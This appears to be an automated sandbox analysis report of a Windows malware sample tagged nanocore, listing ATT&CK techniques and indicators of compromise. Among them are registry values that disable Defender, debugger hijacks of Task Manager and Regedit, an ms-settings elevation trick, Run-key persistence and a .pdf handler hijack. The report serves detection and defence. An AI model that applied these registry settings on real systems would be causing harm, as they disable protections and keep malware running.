nanocore | dd19aa581bd97134d3ddb1488d7394816243fbff67de8597f488a3da1e3dc146

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	kap3.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6040	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	kap3.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	kap3.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	kap3.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe"	kap3.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	kap3.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe"	kap3.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	kap3.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe"	kap3.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
6212	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	kap3.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	kap3.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	kap3.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe"	kap3.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe"	kap3.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe"	kap3.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
6756	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	kap3.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	kap3.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	kap3.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
308	wscript.exe
3764	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	kap3.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	kap3.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1628	sc.exe
5764	sc.exe
4508	sc.exe
2468	sc.exe
6240	sc.exe
6256	sc.exe
3316	sc.exe
3248	sc.exe
4140	sc.exe
4888	sc.exe
5724	sc.exe
3452	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
360	cmd.exe
3456	cmd.exe
5852	cmd.exe
200	cmd.exe
7112	cmd.exe
4260	cmd.exe
328	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2176	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
6772	ipconfig.exe
6612	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
6328	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
6164	vssadmin.exe
5672	vssadmin.exe
6584	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Control Panel\Desktop\WallpaperStyle = "2"	kap3.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134306466365301725"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	kap3.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open\command	kap3.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open\command	kap3.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell	kap3.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	kap3.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe\" \"%1\""	kap3.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kap3.io_chrome.exe"	kap3.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open\command\DelegateExecute	kap3.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open	kap3.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings	kap3.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	kap3.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open	kap3.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	kap3.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	kap3.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings	kap3.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell	kap3.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
6632	schtasks.exe
6656	schtasks.exe
4620	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6040	powershell.exe
6040	powershell.exe
4436	chrome.exe
4436	chrome.exe
6040	powershell.exe
6040	powershell.exe
5368	WMIC.exe
5368	WMIC.exe
5368	WMIC.exe
5368	WMIC.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
6168	WMIC.exe
6168	WMIC.exe
6168	WMIC.exe
6168	WMIC.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
5492	WMIC.exe
5492	WMIC.exe
5492	WMIC.exe
5492	WMIC.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe
4408	kap3.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4408	kap3.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6040	powershell.exe
Token: SeShutdownPrivilege	4436	chrome.exe
Token: SeCreatePagefilePrivilege	4436	chrome.exe
Token: SeShutdownPrivilege	4436	chrome.exe
Token: SeCreatePagefilePrivilege	4436	chrome.exe
Token: SeShutdownPrivilege	4436	chrome.exe
Token: SeCreatePagefilePrivilege	4436	chrome.exe
Token: SeShutdownPrivilege	4436	chrome.exe
Token: SeCreatePagefilePrivilege	4436	chrome.exe
Token: SeShutdownPrivilege	4436	chrome.exe
Token: SeCreatePagefilePrivilege	4436	chrome.exe
Token: SeShutdownPrivilege	4436	chrome.exe
Token: SeCreatePagefilePrivilege	4436	chrome.exe
Token: SeShutdownPrivilege	4436	chrome.exe
Token: SeCreatePagefilePrivilege	4436	chrome.exe
Token: SeIncreaseQuotaPrivilege	5368	WMIC.exe
Token: SeSecurityPrivilege	5368	WMIC.exe
Token: SeTakeOwnershipPrivilege	5368	WMIC.exe
Token: SeLoadDriverPrivilege	5368	WMIC.exe
Token: SeSystemProfilePrivilege	5368	WMIC.exe
Token: SeSystemtimePrivilege	5368	WMIC.exe
Token: SeProfSingleProcessPrivilege	5368	WMIC.exe
Token: SeIncBasePriorityPrivilege	5368	WMIC.exe
Token: SeCreatePagefilePrivilege	5368	WMIC.exe
Token: SeBackupPrivilege	5368	WMIC.exe
Token: SeRestorePrivilege	5368	WMIC.exe
Token: SeShutdownPrivilege	5368	WMIC.exe
Token: SeDebugPrivilege	5368	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5368	WMIC.exe
Token: SeRemoteShutdownPrivilege	5368	WMIC.exe
Token: SeUndockPrivilege	5368	WMIC.exe
Token: SeManageVolumePrivilege	5368	WMIC.exe
Token: 33	5368	WMIC.exe
Token: 34	5368	WMIC.exe
Token: 35	5368	WMIC.exe
Token: 36	5368	WMIC.exe
Token: SeBackupPrivilege	2248	vssvc.exe
Token: SeRestorePrivilege	2248	vssvc.exe
Token: SeAuditPrivilege	2248	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5368	WMIC.exe
Token: SeSecurityPrivilege	5368	WMIC.exe
Token: SeTakeOwnershipPrivilege	5368	WMIC.exe
Token: SeLoadDriverPrivilege	5368	WMIC.exe
Token: SeSystemProfilePrivilege	5368	WMIC.exe
Token: SeSystemtimePrivilege	5368	WMIC.exe
Token: SeProfSingleProcessPrivilege	5368	WMIC.exe
Token: SeIncBasePriorityPrivilege	5368	WMIC.exe
Token: SeCreatePagefilePrivilege	5368	WMIC.exe
Token: SeBackupPrivilege	5368	WMIC.exe
Token: SeRestorePrivilege	5368	WMIC.exe
Token: SeShutdownPrivilege	5368	WMIC.exe
Token: SeDebugPrivilege	5368	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5368	WMIC.exe
Token: SeRemoteShutdownPrivilege	5368	WMIC.exe
Token: SeUndockPrivilege	5368	WMIC.exe
Token: SeManageVolumePrivilege	5368	WMIC.exe
Token: 33	5368	WMIC.exe
Token: 34	5368	WMIC.exe
Token: 35	5368	WMIC.exe
Token: 36	5368	WMIC.exe
Token: SeShutdownPrivilege	4436	chrome.exe
Token: SeCreatePagefilePrivilege	4436	chrome.exe
Token: SeShutdownPrivilege	4436	chrome.exe
Token: SeCreatePagefilePrivilege	4436	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe
4436	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4408	kap3.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4408 wrote to memory of 4436	4408	kap3.io_chrome.exe	89
PID 4436 wrote to memory of 4176	4436	chrome.exe	90
PID 4408 wrote to memory of 6040	4408	kap3.io_chrome.exe	91
PID 4408 wrote to memory of 3316	4408	kap3.io_chrome.exe	93
PID 4408 wrote to memory of 5764	4408	kap3.io_chrome.exe	95
PID 4408 wrote to memory of 3248	4408	kap3.io_chrome.exe	97
PID 4436 wrote to memory of 2176	4436	chrome.exe	100
PID 4436 wrote to memory of 4064	4436	chrome.exe	101
PID 4436 wrote to memory of 4064	4436	chrome.exe	101
PID 4436 wrote to memory of 4492	4436	chrome.exe	99
PID 4436 wrote to memory of 4492	4436	chrome.exe	99
PID 4436 wrote to memory of 472	4436	chrome.exe	103
PID 4436 wrote to memory of 472	4436	chrome.exe	103
PID 4436 wrote to memory of 1684	4436	chrome.exe	104
PID 4436 wrote to memory of 1684	4436	chrome.exe	104
PID 4408 wrote to memory of 4508	4408	kap3.io_chrome.exe	105
PID 4408 wrote to memory of 4140	4408	kap3.io_chrome.exe	106
PID 4408 wrote to memory of 5724	4408	kap3.io_chrome.exe	109
PID 4436 wrote to memory of 1596	4436	chrome.exe	110
PID 4436 wrote to memory of 1596	4436	chrome.exe	110
PID 4408 wrote to memory of 2468	4408	kap3.io_chrome.exe	112
PID 4408 wrote to memory of 4888	4408	kap3.io_chrome.exe	114
PID 4408 wrote to memory of 5992	4408	kap3.io_chrome.exe	116
PID 4436 wrote to memory of 2908	4436	chrome.exe	117
PID 4436 wrote to memory of 2908	4436	chrome.exe	117
PID 4408 wrote to memory of 3452	4408	kap3.io_chrome.exe	118
PID 4408 wrote to memory of 1628	4408	kap3.io_chrome.exe	120
PID 4408 wrote to memory of 5672	4408	kap3.io_chrome.exe	122
PID 4408 wrote to memory of 5368	4408	kap3.io_chrome.exe	158
PID 4408 wrote to memory of 308	4408	kap3.io_chrome.exe	136
PID 4408 wrote to memory of 6632	4408	kap3.io_chrome.exe	137
PID 4408 wrote to memory of 6656	4408	kap3.io_chrome.exe	139
PID 4408 wrote to memory of 6980	4408	kap3.io_chrome.exe	143
PID 4408 wrote to memory of 7112	4408	kap3.io_chrome.exe	145
PID 4408 wrote to memory of 200	4408	kap3.io_chrome.exe	147
PID 4408 wrote to memory of 5852	4408	kap3.io_chrome.exe	148
